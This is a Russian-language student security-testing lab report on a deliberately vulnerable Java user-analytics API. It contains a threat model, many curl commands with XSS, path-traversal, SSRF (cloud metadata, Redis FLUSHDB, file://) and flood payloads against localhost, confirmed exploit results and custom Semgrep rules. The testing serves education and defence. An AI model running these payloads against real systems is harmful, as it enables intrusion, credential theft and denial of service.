| Актив | Тип | Ценность | Примечание |
|---|---|---|---|
| Данные пользователей (userId, userName) | Данные | Средняя | Содержит идентификаторы и имена пользователей. PII-данные |
| Данные о сессиях (время входа/выхода) | Данные | Высокая | Паттерны активности пользователей, может использоваться для анализа поведения |
| Файловая система сервера | Инфраструктура | Критическая | Полный доступ к файлам позволяет читать/писать конфиги, исходный код, системные файлы |
| Внутренняя сеть / метаданные окружения | Инфраструктура | Высокая | Доступ к внутренним сервисам, облачным метаданным, может привести к цепной атаке |
| Сетевые ресурсы сервера | Инфраструктура | Высокая | Отправка запросов от сервера может использоваться для DDoS или атак на внутренние сервисы |
Статус: КРИТИЧНО
Система полностью отсутствует аутентификация. Все эндпоинты берут userId из query-параметра без проверки прав доступа. Любой может выдать себя за любого пользователя.
- Любой внешний атакующий с доступом к сетевому интерфейсу приложения
- Другой микросервис, если приложение развернуто в микросервисной архитектуре
- Компрометированный клиент
- Все эндпоинты передают userId в query-параметре без проверки
/register?userId=<любой_id>&userName=...— регистрация под любым идентификатором/recordSession?userId=<чужой_id>&...— запись активности за другого пользователя/totalActivity?userId=<чужой_id>— чтение активности других пользователей/userProfile?userId=<чужой_id>— просмотр профиля других пользователей/exportReport?userId=<чужой_id>&...— создание отчетов от имени других пользователей/notify?userId=<чужой_id>&...— отправка уведомлений от имени других пользователей
- Полная компрометизация целостности данных
- Невозможно определить, кто совершил действие (нет аудита)
- Возможность выполнить все операции от имени других пользователей
- Фальсификация активности и отчётов
Статус: КРИТИЧНО
Система позволяет произвольно добавлять данные за других пользователей и изменять логику обработки временных интервалов. Нет валидации логики времени сессии.
Любой, имеющий доступ к API
-
POST
/recordSession— запись сессий с произвольными временами:loginTimeиlogoutTimeберутся из параметра без проверки логики (можно loginTime > logoutTime)- Можно записать сессию на 9999 год для завышения активности
- Можно записать отрицательное время активности
- Нет проверки на переполнение данных (logoutTime можно установить очень далеко в будущее)
-
POST
/register— переопределение данных пользователя:- userName не валидируется (может содержать XSS, спецсимволы)
- Можно перезаписать пользователя заново с другим userName если позвать несколько раз
-
POST
/notifyс maliciouscallbackUrl:- Может точить на вредоносный сервер для фишинга
- Может выполнить SSRF-атаку
-
GET
/exportReportс maliciousfilename:- Path traversal позволяет писать в любую директорию
- Можно перезаписать критичные файлы приложения
- Фальсификация данных активности
- Манипуляция отчётами
- Запись вредоносного контента на файловую систему
- Перенаправление уведомлений на вредоносные адреса
Статус: ВЫСОКО (в сочетании с Spoofing)
Система полностью отсутствует логирование и аудит действий. Невозможно определить, кто совершил конкретное действие, когда и откуда. Нет временных меток запросов, нет идентификации источников.
Любой клиент API может произвольно выполнять действия и отрицать это
- POST
/register— регистрация пользователей без логирования - POST
/recordSession— запись сессий без аудита - POST
/notify— отправка уведомлений без логирования - GET
/exportReport— создание файлов без логирования - Все эндпоинты, которые модифицируют или читают данные, но это не логируется
- Невозможно привлечь нарушителя к ответственности
- Невозможно восстановить историю событий после инцидента
- Невозможно отследить цепочку атак
- Нарушение требований compliance и GDPR (отсутствие аудит-логов)
Статус: ВЫСОКО
Система раскрывает чувствительную информацию о пользователях, их активности и содержимое файловой системы. Нет контроля доступа — любой может прочитать данные любого пользователя.
-
GET
/inactiveUsers?days=<N>— возвращает список userId всех неактивных пользователей (массив JSON)- Без параметра может вернуть некорректный ответ
- Раскрывает существование пользователей в системе
-
GET
/totalActivity?userId=<any>— возвращает детальную активность любого пользователя- Без авторизации может прочитать активность другого пользователя
- Раскрывает паттерны работы пользователя
-
GET
/monthlyActivity?userId=<any>&month=<yyyy-MM>— возвращает дневную активность по месяцам- Позволяет узнать точное время работы любого пользователя
- Высокий уровень детализации
-
GET
/userProfile?userId=<any>— возвращает HTML-профиль пользователя- Раскрывает userName и суммарную активность
- Возвращается в HTML, что позволяет использовать для XSS
-
GET
/exportReport?userId=<any>&filename=<path>— создание файлов с данными- Через path traversal можно читать системные файлы (CWE-22)
- Файлы с информацией о пользователе доступны
-
Error messages раскрывают информацию (CWE-209):
- Строка 74 контроллера:
"Invalid data: " + e.getMessage()может вернуть стек-трейс e.getMessage()может содержать информацию о внутренней структуре приложения- Может раскрыть информацию о версии Java, библиотек и т.д.
- Строка 74 контроллера:
-
Отсутствие проверок на существование пользователя:
- Разные коды ответа (404 vs 200) для существующих и несуществующих пользователей позволяют перечислить пользователей
Статус: ВЫСОКО
Система отсутствуют ограничения на количество запросов, размер данных и объем сетевых операций. Это позволяет исчерпать ресурсы сервера.
-
POST
/register?userId=<long_id>&userName=<long_name>— исчерпание памяти- Нет ограничения на длину userId и userName
- Каждый вызов добавляет запись в HashMap
- Можно зарегистрировать миллионы пользователей и вызвать OutOfMemoryError
- HashMap будет занимать все больше памяти
-
POST
/recordSession?userId=<id>&loginTime=...&logoutTime=...— исчерпание памяти- Нет ограничения на количество сессий для одного пользователя
- Можно добавить миллионы сессий в ArrayList для одного userId
- Каждый запрос
/totalActivityбудет обходить весь этот список (строка 66-68 сервиса) - Замедление или зависание при расчёте активности
-
POST
/notify?userId=<id>&callbackUrl=<url>— исчерпание сетевых ресурсов и зависание- Нет ограничения на timeout операции (только 3000ms на соединение)
- Можно отправить на очень медленный сервер (httpbin.org/delay/300)
- Можно создать рекурсию: callbackUrl = http://localhost:7000/notify?userId=...&callbackUrl=http://localhost:7000/notify?...
- Массовая отправка параллельных запросов исчерпает thread pool'а
- Блокирует обработку других запросов
-
GET
/exportReport?userId=<id>&filename=<traversal>— заполнение диска- Через path traversal можно писать в любую директорию
- Можно записать огромный файл (если нет ограничения на размер)
reportFile.getParentFile().mkdirs()(строка 156) позволяет создавать arbitrary структуру директорий- Заполнение диска → отказ в записи для легитимных пользователей
-
Отсутствие rate limiting:
- Все эндпоинты могут быть вызваны неограниченное количество раз
- Нет throttling'а по IP адресу
- OutOfMemoryError → крах приложения (CWE-400)
- Замедление всех операций из-за больших структур данных
- Блокирование потоков обработки в
/notify - Заполнение диска → невозможность сохранять новые отчёты и логи
- Перенаправление сетевых ресурсов на внешние сервера (DDoS вектор)
Статус: КРИТИЧНО
Система отсутствует концепция ролей и привилегий. Любой клиент может выполнить любую операцию, включая операции, которые должны быть доступны только администраторам.
Любой клиент с доступом к API
-
GET
/exportReport?userId=<id>&filename=<traversal>— произвольное чтение/запись на диск (CWE-22 + CWE-434)- Можно прочитать конфигурацию приложения:
../../../../config/application.properties - Можно прочитать исходный код:
../../../../src/Main.java - Можно прочитать переменные окружения:
../../../../proc/self/environ - Можно прочитать системные файлы:
../../../../etc/passwd,../../../../etc/shadow - Можно записать вредоносный файл JSP/Java в директорию приложения и выполнить код
- Можно перезаписать конфигурацию базы данных
- Можно прочитать конфигурацию приложения:
-
POST
/notify?userId=<id>&callbackUrl=<internal_url>— SSRF доступ к внутренним ресурсам (CWE-918)- Доступ к внутренним сервисам: http://localhost:8080/admin
- Доступ к облачным метаданным: http://169.254.169.254/latest/meta-data/
- Доступ к Redis: http://redis:6379/INFO, http://redis:6379/FLUSHDB (удаление БД)
- Доступ к PostgreSQL: http://localhost:5432
- Доступ к другим микросервисам во внутренней сети
- Получение AWS/GCP/Azure credentials из метаданных облака
-
Отсутствие разделения ролей (Authorization):
- Обычный пользователь может выполнить операции, которые должны быть только для администраторов
- Нет различия между чтением своих данных и чтением данных других пользователей
- Нет защиты на уровне приложения (Authorization) — только Authentication отсутствует
- RCE (Remote Code Execution) через загрузку вредоносного файла на диск
- Получение доступа к внутренним сервисам и микросервисам
- Компрометизация облачной инфраструктуры через метаданные
- Полная компрометизация сервера и данных
- Цепная атака на другие системы во внутренней сети
POST /register?userId=victim&userName=Alice → User registered: true
POST /register?userId=alice&userName=Bob → User registered: true
POST /recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00
→ Session recorded
curl -X POST "http://localhost:7000/register?userId=alice&userName=Alice%20Smith"
curl -X POST "http://localhost:7000/register?userId=alice" curl -X POST "http://localhost:7000/register?userName=Alice"
curl -X POST "http://localhost:7000/register?userId=&userName=Alice" curl -X POST "http://localhost:7000/register?userId=alice&userName="
curl -X POST "http://localhost:7000/register?userId=xss1&userName=<script>alert(1)</script>" curl -X POST "http://localhost:7000/register?userId=xss2&userName=<img%20src=x%20onerror=alert(1)>" curl -X POST "http://localhost:7000/register?userId=xss3&userName=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"
curl -X POST "http://localhost:7000/register?userId=../../../etc&userName=test" curl -X POST "http://localhost:7000/register?userId=admin%27%20OR%20%271%27%3D%271&userName=test"
curl -X POST "http://localhost:7000/register?userId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&userName=B" curl -X POST "http://localhost:7000/register?userId=B&userName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
curl -X POST "http://localhost:7000/register?userId=alice&userName=Alice" curl -X POST "http://localhost:7000/register?userId=alice&userName=Alice2"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T09:00:00" curl -X POST "http://localhost:7000/recordSession?userId=victim&logoutTime=2024-01-01T17:00:00"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=not-a-date&logoutTime=2024-01-01T17:00:00" curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-13-01T09:00:00&logoutTime=2024-01-01T17:00:00"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00" curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=9999-12-31T23:59:59&logoutTime=9999-12-31T23:59:59"
curl -X POST "http://localhost:7000/recordSession?userId=alice&loginTime=2024-01-01T00:00:00&logoutTime=2025-12-31T23:59:59"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T01:00:00&logoutTime=2024-01-01T02:00:00" curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T02:00:00&logoutTime=2024-01-01T03:00:00" curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T03:00:00&logoutTime=2024-01-01T04:00:00"
curl -X POST "http://localhost:7000/recordSession?userId=nonexistent&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"
curl "http://localhost:7000/totalActivity?userId=victim"
curl "http://localhost:7000/totalActivity"
curl "http://localhost:7000/totalActivity?userId="
curl "http://localhost:7000/totalActivity?userId=alice"
curl "http://localhost:7000/totalActivity?userId=nonexistent"
curl "http://localhost:7000/totalActivity?userId=../../../etc/passwd" curl "http://localhost:7000/totalActivity?userId=<script>alert(1)</script>"
curl "http://localhost:7000/inactiveUsers?days=7"
curl "http://localhost:7000/inactiveUsers?days=0" curl "http://localhost:7000/inactiveUsers?days=-1" curl "http://localhost:7000/inactiveUsers?days=-999"
curl "http://localhost:7000/inactiveUsers?days=not-a-number" curl "http://localhost:7000/inactiveUsers?days=7.5" curl "http://localhost:7000/inactiveUsers?days="
curl "http://localhost:7000/inactiveUsers?days=999999999999999999999"
curl "http://localhost:7000/inactiveUsers"
curl "http://localhost:7000/monthlyActivity?userId=victim&month=2024-01"
curl "http://localhost:7000/monthlyActivity?userId=victim&month=0000-00" curl "http://localhost:7000/monthlyActivity?userId=victim&month=9999-99"
curl "http://localhost:7000/monthlyActivity?userId=victim&month=2024-13" curl "http://localhost:7000/monthlyActivity?userId=victim&month=2024" curl "http://localhost:7000/monthlyActivity?userId=victim&month=January2024"
curl "http://localhost:7000/monthlyActivity?userId=victim" curl "http://localhost:7000/monthlyActivity?month=2024-01" curl "http://localhost:7000/monthlyActivity"
curl "http://localhost:7000/monthlyActivity?userId=alice&month=2024-01"
curl "http://localhost:7000/monthlyActivity?userId=nonexistent&month=2024-01"
curl "http://localhost:7000/userProfile?userId=victim"
curl -X POST "http://localhost:7000/register?userId=xss_victim&userName=<script>alert('XSS')</script>" curl "http://localhost:7000/userProfile?userId=xss_victim"
curl -X POST "http://localhost:7000/register?userId=xss_test&userName=Test" curl "http://localhost:7000/userProfile?userId=xss_test"
curl "http://localhost:7000/userProfile?userId=../../../etc/passwd"
curl "http://localhost:7000/userProfile?userId=nonexistent"
curl "http://localhost:7000/exportReport?userId=victim&filename=victim_report.txt"
curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/passwd" curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/hosts" curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../proc/self/environ"
curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../tmp/evil.txt" curl "http://localhost:7000/exportReport?userId=victim&filename=../../../var/www/html/shell.php"
curl "http://localhost:7000/exportReport?userId=victim&filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd" curl "http://localhost:7000/exportReport?userId=victim&filename=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/passwd%00.txt"
curl "http://localhost:7000/exportReport?userId=victim&filename=malicious.jsp" curl "http://localhost:7000/exportReport?userId=victim&filename=config"
curl "http://localhost:7000/exportReport?userId=victim&filename="
curl "http://localhost:7000/exportReport?userId=victim" curl "http://localhost:7000/exportReport?filename=test.txt"
curl "http://localhost:7000/exportReport?userId=nonexistent&filename=test.txt"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=https://webhook.site/your-id"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:7000/userProfile?userId=victim" curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://127.0.0.1:7000/totalActivity?userId=victim" curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/passwd"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://169.254.169.254/latest/meta-data/" curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://metadata.google.internal/computeMetadata/v1/"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:8080/admin" curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://redis:6379/INFO"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:22" curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:5432"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/30"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=file:///etc/passwd" curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=dict://localhost:11211/stat"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=not-a-url" curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://"
curl -X POST "http://localhost:7000/notify?userId=victim" curl -X POST "http://localhost:7000/notify?callbackUrl=http://example.com"
curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/5" & curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/5" & curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/5"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=invalid-date&logoutTime=2024-01-01T17:00:00"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00"
curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=9999-12-31T23:59:59"
curl "http://localhost:7000/inactiveUsers?days=-1"
curl "http://localhost:7000/exportReport?userId=<img%20src=x%20onerror=alert(1)>&filename=test.txt"
curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../application.properties" curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../pom.xml"
curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../src/Main.java"
curl -X POST "http://localhost:7000/register?userId=$(python3 -c "print('A'*1000000)")&userName=$(python3 -c "print('B'*1000000)")"
for i in {1..10000}; do curl -X POST "http://localhost:7000/register?userId=user_$i&userName=User_$i" & done
for i in {1..10000}; do curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-0${i}T09:00:00&logoutTime=2024-01-0${i}T17:00:00" & done
| # | Название | CWE | Эндпоинт | Серьёзность | Статус |
|---|---|---|---|---|---|
| 1 | Reflected XSS | CWE-79 | GET /userProfile |
HIGH | Confirmed |
| 2 | Path Traversal / Directory Traversal | CWE-22 | GET /exportReport |
CRITICAL | Confirmed |
| 3 | Server-Side Request Forgery (SSRF) | CWE-918 | POST /notify |
CRITICAL | Confirmed |
| 4 | Missing Authentication | CWE-306 | All endpoints | CRITICAL | Confirmed |
| 5 | Missing Authorization | CWE-862 | All endpoints | CRITICAL | Confirmed |
| 6 | Improper Input Validation | CWE-20 | POST /recordSession |
HIGH | Confirmed |
| 7 | Error Information Disclosure | CWE-209 | POST /recordSession |
MEDIUM | Confirmed |
| 8 | Uncontrolled Resource Consumption (DoS) | CWE-400 | All endpoints | HIGH | Confirmed |
| 9 | Missing Logging/Auditing | CWE-778 | All endpoints | HIGH | Confirmed |
| 10 | Improper Neutralization of Special Elements in Generated File (Code Injection) | CWE-434 | GET /exportReport |
CRITICAL | Confirmed |
- Строка 135 в контроллере (getUserName без escaping) → XSS
- Строка 154 в контроллере (новый File(REPORTS_BASE_DIR + filename)) → Path Traversal
- Строка 180-181 в контроллере (new URL(callbackUrl).openConnection()) → SSRF
- Строка 46-51 в контроллере (нет проверки userId в params) → Missing Authentication
- Все эндпоинты (нет проверки прав на чужие данные) → Missing Authorization
- Строка 50 в сервисе (new Session без валидации) → Improper Input Validation
- Строка 74 в контроллере ("Invalid data: " + e.getMessage()) → Error Information Disclosure
- Все структуры данных (HashMap, ArrayList без ограничений) → DoS
- Весь контроллер (нет логирования) → Missing Logging
- Строка 154 + 157 (произвольная запись файлов) → Code Injection
Запрос:
POST /register?userId=xss1&userName=<script>alert(1)</script>
GET /userProfile?userId=xss1
Ответ:
<html><body><h1>Profile: <script>alert(1)</script></h1><p>ID: xss1</p><p>Total activity: 0 min</p></body></html>Вывод: <script> вставлен в HTML без экранирования. Браузер исполнит JS.
Запрос:
GET /exportReport?userId=victim&filename=../../../../tmp/evil.txt
Ответ: Report saved to: \tmp\reports\..\..\..\..\tmp\evil.txt
Проверка на диске:
C:/tmp/evil.txt → содержит данные пользователя (реально записан)
C:/tmp/evil_outside.txt → содержит данные пользователя (реально записан)
Вывод: Файлы записаны за пределами /tmp/reports/. URL-encoded ..%2F также работает.
Запрос:
POST /notify?userId=victim&callbackUrl=http://localhost:7000/userProfile?userId=alice
Ответ:
Notification sent. Response: <html><body><h1>Profile: Bob</h1><p>ID: alice</p>...
Вывод: Сервер выполнил HTTP-запрос к самому себе и вернул ответ атакующему.
Цепная атака SSRF + Path Traversal:
POST /notify?userId=victim&callbackUrl=http://localhost:7000/exportReport?userId=victim%26filename=../chained_attack.txt
Результат: файл C:/tmp/chained_attack.txt создан — подтверждена цепная эксплуатация.
Запрос:
POST /recordSession?userId=alice&loginTime=2023-01-01T00:00:00&logoutTime=2023-12-31T23:59:59
GET /totalActivity?userId=alice
Ответ: Total activity: 525599 minutes (данные alice изменены без авторизации)
Запрос:
POST /recordSession?userId=victim&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00
GET /totalActivity?userId=victim
Ответ: Total activity: 0 minutes
Вывод: Сессия с logoutTime < loginTime принята. ChronoUnit.MINUTES.between() вернул отрицательное число, которое компенсировало реальную активность (480 минут → 0). Можно занулить активность любого пользователя.
Запросы:
POST /recordSession?userId=victim&loginTime=invalid-date&logoutTime=2024-01-01T17:00:00
→ "Invalid data: Text 'invalid-date' could not be parsed at index 0"
GET /monthlyActivity?userId=nonexistent&month=2024-01
→ "Invalid data: No sessions found for user"
Вывод: Раскрывается внутренняя логика парсера и состояние хранилища.
GET /userProfile?userId=nonexistent → HTTP 404
GET /userProfile?userId=victim → HTTP 200
Вывод: Атакующий может перебором определить существующих пользователей.
POST /register?userId=emptyname&userName= → User registered: true
GET /totalActivity?userId= → Total activity: 0 minutes
Вывод: Пустые строки не отклоняются — нет валидации на пустые значения.
GET /inactiveUsers?days=7 → HTTP 500 "no object mapper configured"
Причина: В запущенной версии приложения отсутствует зависимость jackson-databind.
Вывод: Эндпоинт полностью неработоспособен в текущей конфигурации (CWE-1104 — использование неподдерживаемой конфигурации).
POST /notify?userId=victim&callbackUrl=http://169.254.169.254/latest/meta-data/
→ Notification failed: Network is unreachable
Вывод: Сервер пытается соединиться (запрос уходит), но тестовая среда не AWS. В облаке было бы эксплуатируемо.
| # | Уязвимость | Статус | Реальный эффект |
|---|---|---|---|
| 1 | Reflected XSS | ✅ CONFIRMED | Выполнение JS в браузере жертвы |
| 2 | Path Traversal | ✅ CONFIRMED | Файлы записаны за пределами /tmp/reports/ |
| 3 | SSRF | ✅ CONFIRMED | Сервер читает внутренние эндпоинты |
| 4 | SSRF + Path Traversal chain | ✅ CONFIRMED | Файл создан через цепную атаку |
| 5 | Missing Authorization | ✅ CONFIRMED | Сессии записаны за чужого пользователя |
| 6 | Отрицательные сессии | ✅ CONFIRMED | Активность жертвы обнулена |
| 7 | Error Information Disclosure | ✅ CONFIRMED | Раскрыта внутренняя логика парсера |
| 8 | User Enumeration | ✅ CONFIRMED | 404 vs 200 позволяет перебирать userId |
| 9 | Пустые параметры | ✅ CONFIRMED | userId="" и userName="" принимаются |
| 10 | /inactiveUsers broken (missing dep) | Эндпоинт недоступен | |
| 11 | SSRF к cloud metadata | Нет AWS-среды, но код уязвим |
- Semgrep v1.161.0 (community edition)
- Дата сканирования: 2026-05-19
- Исходники:
src/main/java/ru/itmo/testing/lab4/(6 файлов)
При запуске стандартного пака p/owasp-top-ten semgrep падал с ошибкой:
UnicodeEncodeError: 'charmap' codec can't encode character '❌'
File "semgrep\config_resolver.py", line 991, in parse_config_string
fp.write(contents)
File "encodings\cp1251.py", line 19, in encode
return codecs.charmap_encode(input,self.errors,encoding_table)[0]
Причина: semgrep написан на Python и пишет временные файлы правил в кодировке системной локали (cp1251 на русской Windows). Правила из реестра содержат emoji-символы (❌, ✅), которые не входят в cp1251.
Обходной путь: запуск с переменными окружения PYTHONUTF8=1 PYTHONIOENCODING=utf-8.
После исправления кодировки оба пака запустились (241 и 245 правил), однако вернули 0 findings, несмотря на наличие XSS, Path Traversal и SSRF в коде.
Причина: уязвимости в данном приложении требуют taint-анализа — отслеживания потока данных от источника (ctx.queryParam(...)) до точки использования (new File(...), new URL(...), ctx.result(...)). Taint-анализ в Semgrep реализован только в Pro/платной версии. Community-версия проверяет лишь синтаксические паттерны в пределах одного выражения.
| Пак | Правил запущено | Findings | Причина нулевого результата |
|---|---|---|---|
p/java |
241 | 0 | Taint-уязвимости требуют Pro |
p/owasp-top-ten (community) |
245 | 0 | Аналогично + баг кодировки |
Написаны 7 правил, ищущих конкретные синтаксические паттерны без taint-анализа:
| Rule ID | Паттерн | CWE |
|---|---|---|
xss-html-string-concat |
конкатенация user-data в HTML через переменную | CWE-79 |
xss-html-direct-concat |
прямая конкатенация в ctx.contentType("text/html").result(...) |
CWE-79 |
path-traversal-file-concat |
new File($BASE + $PARAM) |
CWE-22 |
unrestricted-file-write |
new FileWriter(...) на пути из user input |
CWE-434 |
ssrf-url-from-param |
new URL($VAR) — переменная вместо литерала |
CWE-918 |
error-info-disclosure |
ctx.status(...).result(... + e.getMessage()) |
CWE-209 |
error-info-disclosure-result |
ctx.result(... + e.getMessage()) |
CWE-209 |
Итог: 11 findings по 4 типам уязвимостей в файле UserAnalyticsController.java.
| Поле | Значение |
|---|---|
| Rule ID | path-traversal-file-concat |
| Level | error |
| CWE | CWE-22 |
| Файл | UserAnalyticsController.java:154 |
| Верификация | True Positive |
// Строка 154 — user-controlled filename конкатенируется в путь без валидации
File reportFile = new File(REPORTS_BASE_DIR + filename);| Поле | Значение |
|---|---|
| Rule ID | unrestricted-file-write |
| Level | error |
| CWE | CWE-434 / CWE-22 |
| Файл | UserAnalyticsController.java:157 |
| Верификация | True Positive |
// Строка 157 — запись в файл, путь которого из user input
try (FileWriter writer = new FileWriter(reportFile)) {| Поле | Значение |
|---|---|
| Rule ID | ssrf-url-from-param |
| Level | error |
| CWE | CWE-918 |
| Файл | UserAnalyticsController.java:180 |
| Верификация | True Positive |
// Строка 180 — URL создаётся из параметра запроса без валидации
URL url = new URL(callbackUrl);| Поле | Значение |
|---|---|
| Rule ID | error-info-disclosure / error-info-disclosure-result |
| Level | warning |
| CWE | CWE-209 |
| Файл | UserAnalyticsController.java:74,115,163,189 |
| Верификация | True Positive (4 экземпляра) |
// Строка 74
ctx.status(400).result("Invalid data: " + e.getMessage());
// Строка 115
ctx.status(400).result("Invalid data: " + e.getMessage());
// Строка 163
ctx.status(500).result("Failed to write report: " + e.getMessage());
// Строка 189
ctx.status(500).result("Notification failed: " + e.getMessage());| Уязвимость | CWE | Причина пропуска |
|---|---|---|
| Reflected XSS | CWE-79 | Многостроковый taint: user.getUserName() → переменная html → ctx.result(html). Синтаксический паттерн не охватывает передачу через переменную; требуется taint-анализ (Pro) |
| Missing Authentication | CWE-306 | Отсутствие кода — semgrep не умеет искать "отсутствие проверки" без специальной модели |
| Missing Authorization | CWE-862 | Аналогично — проблема в отсутствии паттерна, а не его наличии |
| Improper Input Validation | CWE-20 | Логическая уязвимость (loginTime > logoutTime не проверяется) — stateful, semgrep не находит |
| Уязвимость | CWE | Semgrep | Ручное тестирование |
|---|---|---|---|
| Path Traversal | CWE-22 | ✅ найдено | ✅ подтверждено |
| Arbitrary File Write | CWE-434 | ✅ найдено | ✅ подтверждено |
| SSRF | CWE-918 | ✅ найдено | ✅ подтверждено |
